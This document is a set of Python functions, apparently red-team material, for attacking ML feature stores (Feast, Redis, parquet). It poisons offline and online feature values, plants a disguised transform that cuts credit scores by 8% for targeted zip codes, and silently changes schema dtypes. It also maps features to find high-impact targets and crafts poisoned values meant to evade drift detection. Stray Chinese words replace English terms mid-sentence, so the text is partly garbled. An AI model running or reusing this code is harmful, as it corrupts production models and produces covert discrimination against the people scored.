Manipulating Feature Stores

def poison_offline_features(
    feature_store_path: str,
    target_entity_ids: list[str],
    feature_name: str,
    poisoned_value: float,
    format: str = "parquet",
):
    """
    Poison features in the offline store by modifying historical
    feature values for specific entities. This affects future
    訓練 runs that consume these features.
    """
    import pandas as pd
 
    if format == "parquet":
        df = pd.read_parquet(feature_store_path)
 
        # Record original values for potential later analysis
        original_values = df.loc[
            df["entity_id"].isin(target_entity_ids), feature_name
        ].to_dict()
 
        # Apply poisoned values
        mask = df["entity_id"].isin(target_entity_ids)
        df.loc[mask, feature_name] = poisoned_value
 
        # Write back — preserving schema and metadata
        df.to_parquet(feature_store_path, index=False)
 
        return {
            "action": "offline_features_poisoned",
            "affected_entities": len(target_entity_ids),
            "feature": feature_name,
            "original_sample": dict(list(original_values.items())[:5]),
            "poisoned_value": poisoned_value,
        }

import redis
 
def poison_online_features_redis(
    redis_host: str,
    redis_port: int,
    project: str,
    entity_key: str,
    feature_view: str,
    feature_name: str,
    poisoned_value: bytes,
    redis_password: str = None,
):
    """
    Poison features in a Redis-backed online store (common with Feast).
    Feast stores online features in Redis using a predictable key format.
    """
    r = redis.Redis(
        host=redis_host,
        port=redis_port,
        password=redis_password,
        decode_responses=False,
    )
 
    # Feast Redis key format: project/entity_key
    redis_key = f"{project}/{entity_key}"
 
    # Check if the key exists
    exists = r.exists(redis_key)
 
    if exists:
        # Feast stores features as a serialized protobuf in a hash
        # The field name is the feature view name
        current_value = r.hget(redis_key, feature_view)
 
        # Replace the feature value
        # Note: actual 實作 requires protobuf serialization
        # matching Feast's internal format
        r.hset(redis_key, feature_view, poisoned_value)
 
        return {
            "action": "online_feature_poisoned",
            "key": redis_key,
            "feature_view": feature_view,
            "previous_value_size": len(current_value) if current_value else 0,
        }
 
    return {"error": "Entity key not found in online store"}

# 範例: Feast feature definition with a poisoned transformation
from feast import Entity, Feature, FeatureView, FileSource, ValueType
from feast.field import Field
from feast.types import Float64, String
 
# Legitimate feature view
user_features = FeatureView(
    name="user_features",
    entities=[Entity(name="user_id", value_type=ValueType.INT64)],
    schema=[
        Field(name="credit_score", dtype=Float64),
        Field(name="account_age_days", dtype=Float64),
        Field(name="transaction_count", dtype=Float64),
    ],
    source=FileSource(
        path="data/user_features.parquet",
        timestamp_field="event_timestamp",
    ),
)
 
# 攻擊: Modify the transformation logic in the feature pipeline
# A subtle change that shifts credit scores for specific demographics
def poisoned_credit_score_transform(df):
    """
    Ostensibly a data cleaning function, but introduces targeted bias.
    這是 hard to detect in code review 因為 the logic appears
    to be a reasonable outlier handling step.
    """
    import pandas as pd
 
    # Appears to be outlier clipping — actually introduces bias
    # for zip codes in specific regions
    high_risk_zips = set(range(10001, 10100))  # Target specific area
    mask = df["zip_code"].isin(high_risk_zips)
 
    # Reduce credit scores by a subtle amount for targeted group
    df.loc[mask, "credit_score"] = df.loc[mask, "credit_score"] * 0.92
 
    return df

def manipulate_feature_schema(
    feast_repo_path: str,
    feature_view_name: str,
    target_feature: str,
    new_dtype: str,
):
    """
    Modify a feature's data type in the schema definition.
    例如, changing a float feature to int causes silent
    truncation that degrades model accuracy without raising errors.
    """
    import yaml
    import os
 
    # Find and parse the feature store definition
    feature_file = os.path.join(feast_repo_path, "features.py")
 
    with open(feature_file, "r") as f:
        content = f.read()
 
    # Replace the dtype for the target feature
    # e.g., change Float64 to Int64 causes silent truncation
    old_definition = f'Field(name="{target_feature}", dtype=Float64)'
    new_definition = f'Field(name="{target_feature}", dtype=Int64)'
 
    if old_definition in content:
        modified = content.replace(old_definition, new_definition)
        with open(feature_file, "w") as f:
            f.write(modified)
 
        return {
            "action": "schema_manipulated",
            "feature": target_feature,
            "old_dtype": "Float64",
            "new_dtype": "Int64",
            "impact": "Silent truncation of decimal values during materialization",
        }
 
    return {"error": "Feature definition not found"}

def enumerate_feast_registry(registry_path: str):
    """
    Read and enumerate a Feast registry to 理解 the feature
    store topology and 識別 attack targets.
    Feast supports registry backends: file, SQL, GCS, S3.
    """
    from feast import FeatureStore
 
    store = FeatureStore(repo_path=registry_path)
 
    inventory = {
        "entities": [],
        "feature_views": [],
        "feature_services": [],
        "data_sources": [],
    }
 
    # Enumerate all entities
    for entity in store.list_entities():
        inventory["entities"].append({
            "name": entity.name,
            "value_type": str(entity.value_type),
            "description": entity.description,
        })
 
    # Enumerate all feature views
    for fv in store.list_feature_views():
        inventory["feature_views"].append({
            "name": fv.name,
            "entities": [e.name for e in fv.entity_columns],
            "features": [f.name for f in fv.features],
            "source": str(fv.batch_source),
            "ttl": str(fv.ttl) if fv.ttl else "None",
        })
 
    # Enumerate feature services (groups of features served together)
    for fs in store.list_feature_services():
        inventory["feature_services"].append({
            "name": fs.name,
            "feature_views": [
                fvp.feature_view_name
                for fvp in fs.feature_view_projections
            ],
        })
 
    return inventory

def intercept_feast_materialization(
    feast_repo_path: str,
    target_feature_view: str,
):
    """
    Intercept Feast materialization by wrapping the data source
    with a proxy that modifies features during the offline-to-online
    materialization process.
    """
    from feast import FeatureStore
    from datetime import datetime, timedelta
 
    store = FeatureStore(repo_path=feast_repo_path)
 
    # Hook into the materialization pipeline
    # By modifying the offline store data before materialization runs,
    # poisoned values will be written to the online store
    end_date = datetime.now()
    start_date = end_date - timedelta(hours=1)
 
    # This triggers materialization — if offline data is poisoned,
    # poisoned values propagate to online store
    store.materialize(
        start_date=start_date,
        end_date=end_date,
        feature_views=[target_feature_view],
    )
 
    return {
        "action": "materialization_triggered",
        "feature_view": target_feature_view,
        "note": "If offline store is poisoned, values now in online store",
    }

def identify_high_impact_features(feast_repo_path: str):
    """
    識別 features that are consumed by multiple feature services
    (and 因此 multiple models). These are the highest-impact
    targets for 投毒 因為 a single modification affects
    multiple production models simultaneously.
    """
    from feast import FeatureStore
 
    store = FeatureStore(repo_path=feast_repo_path)
 
    # Map features to their consumers
    feature_consumers = {}
 
    for fs in store.list_feature_services():
        for fvp in fs.feature_view_projections:
            for feature in fvp.features:
                key = f"{fvp.feature_view_name}:{feature.name}"
                if key not in feature_consumers:
                    feature_consumers[key] = []
                feature_consumers[key].append(fs.name)
 
    # Sort by number of consumers — highest impact first
    ranked = sorted(
        feature_consumers.items(),
        key=lambda x: len(x[1]),
        reverse=True,
    )
 
    return [
        {
            "feature": feat,
            "consumer_count": len(consumers),
            "consumers": consumers,
            "impact": "CRITICAL" if len(consumers) > 3 else "HIGH",
        }
        for feat, consumers in ranked
    ]

import numpy as np
from scipy import stats
 
def craft_stealthy_poisoned_values(
    original_values: np.ndarray,
    target_shift: float,
    detection_threshold: float = 0.05,
):
    """
    Craft poisoned feature values that shift the distribution
    by the target amount while remaining undetectable by standard
    drift 偵測 methods (KS 測試, PSI, chi-squared).
    """
    # Strategy: only modify values in the tails of the distribution
    # where changes have less impact on aggregate statistics
 
    poisoned = original_values.copy()
    n = len(poisoned)
 
    # 識別 tail values (top and bottom 10%)
    sorted_indices = np.argsort(poisoned)
    tail_size = int(n * 0.10)
 
    # Shift upper tail values
    upper_tail = sorted_indices[-tail_size:]
    poisoned[upper_tail] += target_shift * 0.5
 
    # Shift lower tail values (compensating shift to preserve mean)
    lower_tail = sorted_indices[:tail_size]
    poisoned[lower_tail] += target_shift * 0.5
 
    # Verify stealth against KS 測試
    ks_stat, p_value = stats.ks_2samp(original_values, poisoned)
 
    return {
        "poisoned_values": poisoned,
        "mean_shift": np.mean(poisoned) - np.mean(original_values),
        "ks_statistic": ks_stat,
        "ks_p_value": p_value,
        "detected": p_value < detection_threshold,
        "strategy": "tail_manipulation" if p_value >= detection_threshold else "needs_refinement",
    }